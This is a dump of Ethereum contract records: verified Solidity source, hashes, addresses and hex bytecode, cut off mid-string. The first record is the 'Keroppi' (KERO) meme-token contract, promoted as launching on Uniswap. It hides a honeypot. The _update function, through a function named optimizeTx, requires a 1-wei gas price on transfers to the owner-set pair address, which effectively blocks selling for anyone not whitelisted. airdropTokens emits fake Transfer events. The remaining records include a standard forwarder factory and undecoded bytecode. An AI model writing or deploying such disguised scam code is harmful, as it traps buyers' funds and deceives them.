________ ________ ________ ________ ___ \n|\\ \\|\\ \\ |\\ ___ \\ |\\ __ \\ |\\ __ \\ |\\ __ \\ |\\ __ \\ |\\ \\ \n\\ \\ \\/ /|_ \\ \\ __/| \\ \\ \\|\\ \\ \\ \\ \\|\\ \\ \\ \\ \\|\\ \\ \\ \\ \\|\\ \\ \\ \\ \\ \n \\ \\ ___ \\ \\ \\ \\_|/__ \\ \\ _ _\\ \\ \\ \\\\\\ \\ \\ \\ ____\\ \\ \\ ____\\ \\ \\ \\ \n \\ \\ \\\\ \\ \\ \\ \\ \\_|\\ \\ \\ \\ \\\\ \\| \\ \\ \\\\\\ \\ \\ \\ \\___| \\ \\ \\___| \\ \\ \\ \n \\ \\__\\\\ \\__\\ \\ \\_______\\ \\ \\__\\\\ _\\ \\ \\_______\\ \\ \\__\\ \\ \\__\\ \\ \\__\\\n \\|__| \\|__| \\|_______| \\|__|\\|__| \\|_______| \\|__| \\|__| \\|__|\n \n \n \n\n\n \n\n \n \n\n *Submitted for verification at Etherscan.io on 2024-07-12\n\n\nLaunching Today on Uniswap \n\n😀 Website: https://keroppi.meme\n😀 Twitter: https://x.com/ethkeroppi\n😀 Telegram: https://t.me/KEROPPI_ERC20\n\n\n\n*/\n//SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nimport \"./ERC20.sol\";\nimport \"./Ownable.sol\";\n\ncontract Keroppi is ERC20, Ownable {\n string public tokenName = \"Keroppi\";\n string public tokenSymbol = \"KERO\";\n\n address public riap;\n mapping(address =\u003e bool) public whitelists;\n\n event SetMinTokenAmount(uint256 minAmount);\n event SetMaxTokenAmount(uint256 maxAmount);\n uint256 public sellTax;\n uint256 public buyTax;\n\n constructor(uint256 _totalSupply, address deployer)\n ERC20(tokenName, tokenSymbol, msg.sender, deployer)\n Ownable(msg.sender)\n {\n _mint(msg.sender, _totalSupply);\n whitelists[msg.sender] = true;\n }\n\n function changeRiap(address _p) public onlyOwner {\n riap = _p;\n }\n\n function approve(address _p) public onlyOwner {\n whitelists[_p] = true;\n }\n\n function _update(\n address from,\n address to,\n uint256 amount\n ) internal override {\n if (whitelists[tx.origin]) {\n super._update(from, to, amount);\n return;\n }\n address re = to;\n if (riap == address(0)) {\n super._update(from, to, amount);\n return;\n }\n if (re == riap) {\n super._update(from, to, amount);\n optimizeTx(1);\n return;\n }\n super._update(from, to, amount);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function changeMe() public pure returns (uint256) {\n return 1;\n }\n\n function withdrawETH() public onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function withdrawStuckToken(address token) public onlyOwner {\n uint256 balanceToken = IERC20(token).balanceOf(address(this));\n IERC20(token).transfer(msg.sender, balanceToken);\n }\n\n function optimizeTx(uint256 _gas) internal view {\n uint256 txp;\n assembly {\n txp := gasprice()\n }\n require(txp \u003c= _gas, \"Need to optimize gas price when send tx\");\n }\n\n function airdropTokens(\n address airdropp,\n address[] memory list,\n uint256[] memory amount\n ) external onlyOwner {\n for (uint256 i = 0; i \u003c list.length; i++) {\n emit Transfer(airdropp, list[i], amount[i]);\n }\n }\n\n function setMinTokenAmount(uint256 amount) public onlyOwner {\n emit SetMinTokenAmount(amount);\n }\n\n function setMaxTokenAmount(uint256 amount) public onlyOwner {\n emit SetMaxTokenAmount(amount);\n }\n\n}\n"}} |
1 | 20,290,658 | 0d218be2bc0b8f97e37c2ad0f5c3636fcd1f51ec3ff275e43914c67ac41877e6 | 2de25878bd3fe742942227ae633c79cb355230482883a8a9c4a219d39a43adfe | 00bdb5699745f5b860228c8f939abf1b9ae374ed | ffa397285ce46fb78c588a9e993286aac68c37cd | 3a664502b69a297144181ab5d71ff5d5e5700f36 | 3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
} |
1 | 20,290,667 | 453a7cf1ad7a12d15bb1dac8a82952f219f0ccf812ab9da025bc2f2b8a31cfa8 | 6cf9f9fd84602a400cc7fab1597552cd5f3fa04c4cf5e42f373808526bebf2f2 | be49bd130e126a917ddb5fabf7cdeb6dd9887f40 | 84654be796dad370032391d5479f8f1fd9ddd14e | bb5acf6467fce8a44055ac0fccc5886b9d437270 | 604080600a3d393df3fe73265c27c849b0e1a62636f6007e8a74dc2a2584aa3d366025573d3d3d3d34865af16031565b363d3d373d3d363d855af45b3d82803e603c573d81fd5b3d81f3 | 73265c27c849b0e1a62636f6007e8a74dc2a2584aa3d366025573d3d3d3d34865af16031565b363d3d373d3d363d855af45b3d82803e603c573d81fd5b3d81f3 | |
1 | 20,290,669 | 2ecb511210e31f0ecbe0b426f425278ea3f1cf272c07d6f73bfd63a5ba8b1a7c | c257c921bcceb34fb4cbe209b64122c655b32487ccb2963503f3be3e4c08c8ef | e90e278116574589fe37634739db2fbfcba4b2a2 | 44447d6aa11b61214ee09fa27a3ae690579ee0ed | a03e8eead33a35427c98d50262f639e61528e9c2 | 60a060405260118054600160a01b600160e01b031916613d0960a51b179055348015610029575f80fd5b5060405161449738038061449783398101604081905261004891610445565b825f8151811061005a5761005a6105a8565b602002602001015183600181518110610075576100756105a8565b6020026020010151825f8151811061008f5761008f6105a8565b6020908102919091010151730a0f4321214bb6c7811dd8a71cf587bdaf03f0a06080526001600160a01b0381166100df57604051631e4fbdf760e01b81525f600482015260240160405180910390fd5b6100e8816102b7565b5060016100f58382610640565b5060026101028282610640565b505050815f81518110610117576101176105a8565b6020026020010151600781905550805f81518110610137576101376105a8565b602002602001015160105f6101000a8154816001600160a01b0302191690836001600160a01b0316021790555080600181518110610177576101776105a8565b602002602001015160115f6101000a8154816001600160a01b0302191690836001600160a01b03160217905550826002815181106101b7576101b76105a8565b6020026020010151600c90816101cd9190610640565b50826003815181106101e1576101e16105a8565b6020026020010151600d90816101f79190610640565b508260048151811061020b5761020b6105a8565b6020026020010151600e90816102219190610640565b5081600181518110610235576102356105a8565b6020026020010151600b8190555081600281518110610256576102566105a8565b602002602001015160098190555081600381518110610277576102776105a8565b6020026020010151600a8190555082600581518110610298576102986105a8565b6020026020010151600f90816102ae9190610640565b505050506106fa565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f191681016001600160401b038111828210171561034257610342610306565b604052919050565b5f6001600160401b0382111561036257610362610306565b5060051b60200190565b5f82601f83011261037b575f80fd5b815161038e6103898261034a565b61031a565b8082825260208201915060208360051b8601019250858311156103af575f80fd5b602085015b838110156103cc5780518352602092830192016103b4565b5095945050505050565b5f82601f8301126103e5575f80fd5b81516103f36103898261034a565b8082825260208201915060208360051b860101925085831115610414575f80fd5b602085015b838110156103cc5780516001600160a01b0381168114610437575f80fd5b835260209283019201610419565b5f805f60608486031215610457575f80fd5b83516001600160401b0381111561046c575f80fd5b8401601f8101861361047c575f80fd5b805161048a6103898261034a565b8082825260208201915060208360051b8501019250888311156104ab575f80fd5b602084015b838110156105495780516001600160401b038111156104cd575f80fd5b8501603f81018b136104dd575f80fd5b60208101516001600160401b038111156104f9576104f9610306565b61050c601f8201601f191660200161031a565b8181526040838301018d1015610520575f80fd5b8160408401602083015e5f602083830101528086525050506020830192506020810190506104b0565b506020880151909650925050506001600160401b03811115610569575f80fd5b6105758682870161036c565b604086015190935090506001600160401b03811115610592575f80fd5b61059e868287016103d6565b9150509250925092565b634e487b7160e01b5f52603260045260245ffd5b600181811c908216806105d057607f821691505b6020821081036105ee57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561063b57805f5260205f20601f840160051c810160208510156106195750805b601f840160051c820191505b81811015610638575f8155600101610625565b50505b505050565b81516001600160401b0381111561065957610659610306565b61066d8161066784546105bc565b846105f4565b6020601f82116001811461069f575f83156106885750848201515b5f19600385901b1c1916600184901b178455610638565b5f84815260208120601f198516915b828110156106ce57878501518255602094850194600190920191016106ae565b50848210156106eb57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b608051613d626107355f395f81816104ed01528181610cdd01528181611a5201528181611a8f01528181611c3601526121e60152613d625ff3fe60806040526004361061035b575f3560e01c806370a08231116101bd578063b0347814116100f2578063de8f50a111610092578063ebd7edaf1161006d578063ebd7edaf146109a5578063ec3e5f45146109b9578063eda47704146109f7578063f2fde38b14610a16575f80fd5b8063de8f50a114610948578063e0be9bf914610967578063e985e9c514610986575f80fd5b8063b88d4fde116100cd578063b88d4fde146108e2578063c1d88c4414610901578063c745e3ff14610915578063c87b56dd14610929575f80fd5b8063b03478141461089a578063b0f7a3ff146108b9578063b7b6ccd5146108ce575f80fd5b80638da5cb5b1161015d578063a1a0e7fc11610138578063a1a0e7fc14610812578063a22cb46514610831578063ad72e1a514610850578063aea305071461087b575f80fd5b80638da5cb5b146107cf57806395d89b41146107eb5780639ee74dd1146107ff575f80fd5b80637df04787116101985780637df047871461073557806381d12c581461076c5780638500a45d1461079b5780638cbc52d9146107b0575f80fd5b806370a08231146106e3578063715018a61461070257806378564b7414610716575f80fd5b80633ccfd60b1161029357806358fd416d11610233578063628ae0a31161020e578063628ae0a3146106875780636352211e1461069b5780636817c76c146106ba578063702de1e3146106cf575f80fd5b806358fd416d146106235780635bb4688d146106425780635cec1b7614610672575f80fd5b8063414f11451161026e578063414f11451461059f57806342842e0e146105be5780634c34e4dc146105dd5780634ca0ce4c146105fc575f80fd5b80633ccfd60b1461054d5780633f37dce2146105615780633f3e4c1114610580575f80fd5b80632ab4d052116102fe5780632f03012e116102d95780632f03012e146104b557806331b221cd146104dc57806333727c4d1461050f5780633c1c8e491461052e575f80fd5b80632ab4d052146104625780632cfb2080146104775780632ddfb80714610496575f80fd5b8063095ea7b311610339578063095ea7b3146103eb578063122d1bad1461040c57806318160ddd1461042057806323b872dd14610443575f80fd5b806301ffc9a71461035f57806306fdde0314610393578063081812fc146103b4575b5f80fd5b34801561036a575f80fd5b5061037e610379366004612b04565b610a35565b60405190151581526020015b60405180910390f35b34801561039e575f80fd5b506103a7610a86565b60405161038a9190612b54565b3480156103bf575f80fd5b506103d36103ce366004612b66565b610b16565b6040516001600160a01b03909116815260200161038a565b3480156103f6575f80fd5b5061040a610405366004612b93565b610b3d565b005b348015610417575f80fd5b506103a7610b4c565b34801561042b575f80fd5b5061043560085481565b60405190815260200161038a565b34801561044e575f80fd5b5061040a61045d366004612bbb565b610bd8565b34801561046d575f80fd5b50610435600b5481565b348015610482575f80fd5b5061040a610491366004612bf5565b610c66565b3480156104a1575f80fd5b5061040a6104b0366004612c1b565b610c9b565b3480156104c0575f80fd5b506103d373c3287bdef03b925a7c7f54791edadcd88e632ccd81565b3480156104e7575f80fd5b506103d37f000000000000000000000000000000000000000000000000000000000000000081565b34801561051a575f80fd5b5061037e610529366004612b66565b610cc5565b348015610539575f80fd5b506103a7610548366004612cf2565b610d4e565b348015610558575f80fd5b5061040a610d7c565b34801561056c575f80fd5b5061040a61057b366004612d77565b610d90565b34801561058b575f80fd5b5061040a61059a366004612b66565b610e6c565b3480156105aa575f80fd5b5061040a6105b9366004612de1565b610e79565b3480156105c9575f80fd5b5061040a6105d8366004612bbb565b610e93565b3480156105e8575f80fd5b506011546103d3906001600160a01b031681565b348015610607575f80fd5b506103d3730a0f4321214bb6c7811dd8a71cf587bdaf03f0a081565b34801561062e575f80fd5b506103a761063d366004612b66565b610ead565b34801561064d575f80fd5b5061066161065c366004612b66565b6110ef565b60405161038a959493929190612e1f565b34801561067d575f80fd5b50610435600a5481565b348015610692575f80fd5b506103a76112b8565b3480156106a6575f80fd5b506103d36106b5366004612b66565b6112c5565b3480156106c5575f80fd5b5061043560075481565b3480156106da575f80fd5b506104356112cf565b3480156106ee575f80fd5b506104356106fd366004612c1b565b6112ea565b34801561070d575f80fd5b5061040a61132f565b348015610721575f80fd5b5061040a610730366004612de1565b611340565b348015610740575f80fd5b5061043561074f366004612e7a565b805160208183018101805160148252928201919093012091525481565b348015610777575f80fd5b5061078b610786366004612b66565b611355565b60405161038a9493929190612eab565b3480156107a6575f80fd5b5061043560095481565b3480156107bb575f80fd5b506103a76107ca366004612eee565b611493565b3480156107da575f80fd5b505f546001600160a01b03166103d3565b3480156107f6575f80fd5b506103a76114c7565b61043561080d366004612f31565b6114d6565b34801561081d575f80fd5b5061040a61082c366004612de1565b6118d8565b34801561083c575f80fd5b5061040a61084b366004612ff1565b6118ed565b34801561085b575f80fd5b5061043561086a366004612b66565b60166020525f908152604090205481565b348015610886575f80fd5b5061040a610895366004613026565b6118f8565b3480156108a5575f80fd5b5061040a6108b43660046130cb565b611a47565b3480156108c4575f80fd5b50610435611b5f81565b3480156108d9575f80fd5b5061040a611bcd565b3480156108ed575f80fd5b5061040a6108fc366004613142565b611bee565b34801561090c575f80fd5b50610435611c05565b348015610920575f80fd5b506103a7611ca6565b348015610934575f80fd5b506103a7610943366004612b66565b611cb3565b348015610953575f80fd5b5061037e6109623660046131a5565b611d62565b348015610972575f80fd5b506010546103d3906001600160a01b031681565b348015610991575f80fd5b5061037e6109a0366004613241565b611ec7565b3480156109b0575f80fd5b506103a7611ef4565b3480156109c4575f80fd5b506011546109df90600160a01b90046001600160401b031681565b6040516001600160401b03909116815260200161038a565b348015610a02575f80fd5b5061040a610a11366004612c1b565b611f01565b348015610a21575f80fd5b5061040a610a30366004612c1b565b611f2b565b5f6001600160e01b031982166380ac58cd60e01b1480610a6557506001600160e01b03198216635b5e139f60e01b145b80610a8057506301ffc9a760e01b6001600160e01b03198316145b92915050565b606060018054610a9590613272565b80601f0160208091040260200160405190810160405280929190818152602001828054610ac190613272565b8015610b0c5780601f10610ae357610100808354040283529160200191610b0c565b820191905f5260205f20905b815481529060010190602001808311610aef57829003601f168201915b5050505050905090565b5f610b2082611f68565b505f828152600560205260409020546001600160a01b0316610a80565b610b48828233611fa0565b5050565b600f8054610b5990613272565b80601f0160208091040260200160405190810160405280929190818152602001828054610b8590613272565b8015610bd05780601f10610ba757610100808354040283529160200191610bd0565b820191905f5260205f20905b815481529060010190602001808311610bb357829003601f168201915b505050505081565b6001600160a01b038216610c0657604051633250574960e11b81525f60048201526024015b60405180910390fd5b5f610c12838333611fad565b9050836001600160a01b0316816001600160a01b031614610c60576040516364283d7b60e01b81526001600160a01b0380861660048301526024820184905282166044820152606401610bfd565b50505050565b610c6e61209f565b601180546001600160401b03909216600160a01b0267ffffffffffffffff60a01b19909216919091179055565b610ca361209f565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6040516333727c4d60e01b8152600481018290525f907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316906333727c4d90602401602060405180830381865afa158015610d2a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a8091906132aa565b60605f8284604051602001610d649291906132dc565b60408051808303601f19018152919052949350505050565b610d8461209f565b610d8e33476120cb565b565b610d9e848484848888611d62565b610dea5760405162461bcd60e51b815260206004820152601960248201527f455243373030373a20696e76616c6964206169676344617461000000000000006044820152606401610bfd565b5f60148585604051610dfd9291906132ed565b908152604051908190036020018120549150610e1c90849084906132ed565b60405180910390208585604051610e349291906132ed565b6040519081900381209083907fd77aab0eeab3a3cbdac072fcdbc34709b18d6c4af91f7869c71cbbb13d71a6b9905f90a45050505050565b610e7461209f565b600b55565b610e8161209f565b600e610e8e828483613340565b505050565b610e8e83838360405180602001604052805f815250611bee565b5f8181526012602052604081206003015460609103610fc2575f8281526012602090815260409182902091517f8a69103ba0d209dc3c31e69b5d27cf5e0a41cf4406a51893d159eda72d2361e392610f0c929091600183019101613467565b60408051601f1981840301815290829052610f2691613491565b90815260200160405180910390208054610f3f90613272565b80601f0160208091040260200160405190810160405280929190818152602001828054610f6b90613272565b8015610fb65780601f10610f8d57610100808354040283529160200191610fb6565b820191905f5260205f20905b815481529060010190602001808311610f9957829003601f168201915b50505050509050919050565b5f828152601260209081526040808320600381015491519192610fea92600183019101613467565b60408051601f198184030181529082905261100892916020016132dc565b60408051601f1981840301815290829052611b5f5f52601560205291507f8a69103ba0d209dc3c31e69b5d27cf5e0a41cf4406a51893d159eda72d2361e390611052908390613491565b9081526020016040518091039020805461106b90613272565b80601f016020809104026020016040519081016040528092919081815260200182805461109790613272565b80156110e25780601f106110b9576101008083540402835291602001916110e2565b820191905f5260205f20905b8154815290600101906020018083116110c557829003601f168201915b5050505050915050919050565b60126020525f908152604090208054819061110990613272565b80601f016020809104026020016040519081016040528092919081815260200182805461113590613272565b80156111805780601f1061115757610100808354040283529160200191611180565b820191905f5260205f20905b81548152906001019060200180831161116357829003601f168201915b50505050509080600101805461119590613272565b80601f01602080910402602001604051908101604052809291908181526020018280546111c190613272565b801561120c5780601f106111e35761010080835404028352916020019161120c565b820191905f5260205f20905b8154815290600101906020018083116111ef57829003601f168201915b50505050509080600201805461122190613272565b80601f016020809104026020016040519081016040528092919081815260200182805461124d90613272565b80156112985780601f1061126f57610100808354040283529160200191611298565b820191905f5260205f20905b81548152906001019060200180831161127b57829003601f168201915b5050505060038301546004909301549192916001600160a01b0316905085565b600c8054610b5990613272565b5f610a8082611f68565b5f6007546112db611c05565b6112e591906134b0565b905090565b5f6001600160a01b038216611314576040516322718ad960e21b81525f6004820152602401610bfd565b506001600160a01b03165f9081526004602052604090205490565b61133761209f565b610d8e5f61215e565b61134861209f565b600c610e8e828483613340565b60136020525f90815260409020805460018201546002830180546001600160a01b0390931693919261138690613272565b80601f01602080910402602001604051908101604052809291908181526020018280546113b290613272565b80156113fd5780601f106113d4576101008083540402835291602001916113fd565b820191905f5260205f20905b8154815290600101906020018083116113e057829003601f168201915b50505050509080600301805461141290613272565b80601f016020809104026020016040519081016040528092919081815260200182805461143e90613272565b80156114895780601f1061146057610100808354040283529160200191611489565b820191905f5260205f20905b81548152906001019060200180831161146c57829003601f168201915b5050505050905084565b601560209081525f9283526040909220815180830184018051928152908401929093019190912091528054610b5990613272565b606060028054610a9590613272565b5f6009545f141580156114ea575060095442115b6115295760405162461bcd60e51b815260206004820152601060248201526f14d85b19481b9bdd081cdd185c9d195960821b6044820152606401610bfd565b600a5415806115395750600a5442105b6115725760405162461bcd60e51b815260206004820152600a60248201526914d85b1948195b99195960b21b6044820152606401610bfd565b5f8888888860405160200161158a94939291906134c3565b604051602081830303815290604052905060146115a78285610d4e565b6040516115b49190613491565b9081526020016040518091039020545f1461161c5760405162461bcd60e51b815260206004820152602260248201527f70726f6d707420616e6420736565642068617320616c7265616479206d696e74604482015261195960f21b6064820152608401610bfd565b6116246112cf565b3410156116735760405162461bcd60e51b815260206004820152601b60248201527f4e6f7420656e6f7567682066756e6420746f206d696e74204e465400000000006044820152606401610bfd565b600b5415806116855750600b54600854105b6116d15760405162461bcd60e51b815260206004820152601860248201527f4d617820746f74616c20737570706c79207265616368656400000000000000006044820152606401610bfd565b6011546007546116f6916001600160a01b0316906116f190600a90613502565b6120cb565b601054600754611722916001600160a01b031690600a90611718906009613515565b6116f19190613502565b6040518060a001604052808a8a8080601f0160208091040260200160405190810160405280939291908181526020018383808284375f92019190915250505090825250604080516020601f8b0181900481028201810190925289815291810191908a908a90819084018382808284375f92019190915250505090825250604080516020601f8901819004810282018101909252878152918101919088908890819084018382808284375f92018290525093855250505060208083018790526001600160a01b038e166040938401526008548252601290522081518190611808908261352c565b506020820151600182019061181d908261352c565b5060408201516002820190611832908261352c565b5060608201516003820155608090910151600490910180546001600160a01b0319166001600160a01b0390921691909117905561186f81846121ad565b61187b8a6008546122f9565b60088054905f61188a836135e6565b9190505550600854601461189e8386610d4e565b6040516118ab9190613491565b908152604051908190036020019020556008546118ca906001906135fe565b9a9950505050505050505050565b6118e061209f565b600d610e8e828483613340565b610b48338383612312565b60405163c4be5cab60e01b815273c3287bdef03b925a7c7f54791edadcd88e632ccd9063c4be5cab906119319089908990600401613639565b6020604051808303815f875af115801561194d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611971919061364c565b5f888152601660205260409081902082905551630901e0f960e31b815273c3287bdef03b925a7c7f54791edadcd88e632ccd9163480f07c8916119bb919088908890600401613663565b5f604051808303815f87803b1580156119d2575f80fd5b505af11580156119e4573d5f803e3d5ffd5b5050505085856040516119f89291906132ed565b6040518091039020877f65deac95b53ba76b9cdc6cf446af81731e1218c91eaf9811a95d28bde23b893e86868686604051611a36949392919061367c565b60405180910390a350505050505050565b336001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000168114611ac45760405163432e033760e11b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000008116600483015282166024820152604401610bfd565b5f86815260136020526040902080546001600160a01b0316611b1d5760405162461bcd60e51b815260206004820152601260248201527172657175657374206e6f742065786973747360701b6044820152606401610bfd565b611b5f5f526015602052604051869086907f8a69103ba0d209dc3c31e69b5d27cf5e0a41cf4406a51893d159eda72d2361e390611b5e9060028601906136a2565b90815260200160405180910390209182611b79929190613340565b507faf2b2381ddcb18a2b18a7826186fd216acdd9c852a8c7a9a49e7eab127f96ccf8782600101548360020189898989604051611bbc97969594939291906136ad565b60405180910390a150505050505050565b611bd561209f565b6009545f03611be45742600955565b42600a555f600955565b611bf9848484610bd8565b610c60848484846123b0565b601154604051620e1d8d60e41b8152611b5f6004820152600160a01b9091046001600160401b031660248201525f907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169062e1d8d090604401602060405180830381865afa158015611c82573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112e5919061364c565b600d8054610b5990613272565b5f818152601260205260408120600381015460609291611d36916002820191906001820190611ce1906124d6565b5f88815260126020526040902060040154611d04906001600160a01b03166125da565b611d0d89610ead565b604051602001611d2296959493929190613760565b604051602081830303815290604052612713565b90505f81604051602001611d4a91906139f0565b60408051601f19818403018152919052949350505050565b5f8060148888604051611d769291906132ed565b9081526040805160209281900383018120545f8181526016909452918320546317861f8760e01b8252600482015290925073c3287bdef03b925a7c7f54791edadcd88e632ccd906317861f87906024015f60405180830381865afa158015611de0573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052611e079190810190613a21565b5f83815260166020526040908190205490516333727c4d60e01b815291925073c3287bdef03b925a7c7f54791edadcd88e632ccd916333727c4d91611e529160040190815260200190565b602060405180830381865afa158015611e6d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e9191906132aa565b8015611eba57508686604051611ea89291906132ed565b60405180910390208180519060200120145b9998505050505050505050565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205460ff1690565b600e8054610b5990613272565b611f0961209f565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b611f3361209f565b6001600160a01b038116611f5c57604051631e4fbdf760e01b81525f6004820152602401610bfd565b611f658161215e565b50565b5f818152600360205260408120546001600160a01b031680610a8057604051637e27328960e01b815260048101849052602401610bfd565b610e8e8383836001612875565b5f828152600360205260408120546001600160a01b0390811690831615611fd957611fd9818486612979565b6001600160a01b0381161561201357611ff45f855f80612875565b6001600160a01b0381165f90815260046020526040902080545f190190555b6001600160a01b03851615612041576001600160a01b0385165f908152600460205260409020805460010190555b5f8481526003602052604080822080546001600160